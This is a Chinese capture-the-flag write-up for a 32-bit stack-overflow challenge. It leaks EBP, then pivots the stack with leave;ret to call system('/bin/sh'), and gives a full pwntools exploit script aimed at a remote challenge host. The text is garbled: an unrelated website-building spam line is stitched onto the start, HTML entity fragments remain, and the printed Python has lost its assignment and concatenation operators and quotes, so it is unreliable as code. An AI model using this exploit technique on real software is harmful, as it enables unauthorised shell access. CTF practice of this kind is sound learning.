北京网站搭建费用,社交网站建设网,网站设置受信任,网站设计的公司北京1.下载 checksec 用IDA32打开 定位main函数 发现了个假的后门函数#xff1a; 看看vul函数#xff1a; 使用read读取 想到栈溢出 但是只有48个 只能覆盖EBP和返回地址 长度不够构造
所以使用栈迁移#xff1a;
栈迁移需要用到leave ret 使用ROPgadget找地址#xff1a; …1.下载 checksec 用IDA32打开 定位main函数 发现了个假的后门函数 看看vul函数 使用read读取 想到栈溢出 但是只有48个 只能覆盖EBP和返回地址 长度不够构造
所以使用栈迁移
栈迁移需要用到leave ret 使用ROPgadget找地址 构造第一个payload 泄露EBP地址
payload1 ba * 0x27 bb
p.send(payload1)
p.recvuntil(bb)
ebp u32(p.recv(4))
print(hex(ebp))
得到了EBP地址 需要调试以得出EBP地址离输入的距离
下断点到vul函数 单步运行到函数快结尾位置查看栈情况 看到EBP距离输入的位置有 0x78-0x500x28的距离 所以EBP距离输入这个字符串的地址为0x280x100x38
接下来构造payload2 目的是使得EIP指向system函数
payload2 baaaa p32(sys_addr) baaaa p32(stdin_addr 0x10) b/bin/sh\x00
#在system函数前需要留空位 目的是在leave执行时pop ebp这一步让esp正好指向system函数
#参数必须是地址 所以传递的不能直接是binsh字符串而是其地址 前面知道了输入地址 再0x10就能得出binsh地址
payload2 payload2.ljust(0x28, b\x00)
#填充payload2使其到达ebp位置
payload2 p32(stdin_addr) p32(lea_ret_addr)
整体代码
from pwn import *#p process(./es_2)
p remote(node5.buuoj.cn, 27573)
elf ELF(./es_2)
sys_addr elf.plt[system]
lea_ret_addr 0x08048562#gdb.attach(p)
#pause()payload1 ba * 0x27 bb
p.sendafter(byour name?, payload1)
p.recvuntil(bb)
ebp u32(p.recv(4))
print(hex(ebp))
stdin_addr ebp - 0x38payload2 baaaa p32(sys_addr) baaaa p32(stdin_addr 0x10) b/bin/sh\x00
#在system函数前需要留空位 目的是在leave执行时pop ebp这一步让esp正好指向system函数
#参数必须是地址 所以传递的不能直接是binsh字符串而是其地址 前面知道了输入地址 再0x10就能得出binsh地址
payload2 payload2.ljust(0x28, b\x00)
#填充payload2使其到达ebp位置
payload2 p32(stdin_addr) p32(lea_ret_addr)p.send(payload2)
p.interactive()
运行 得到flag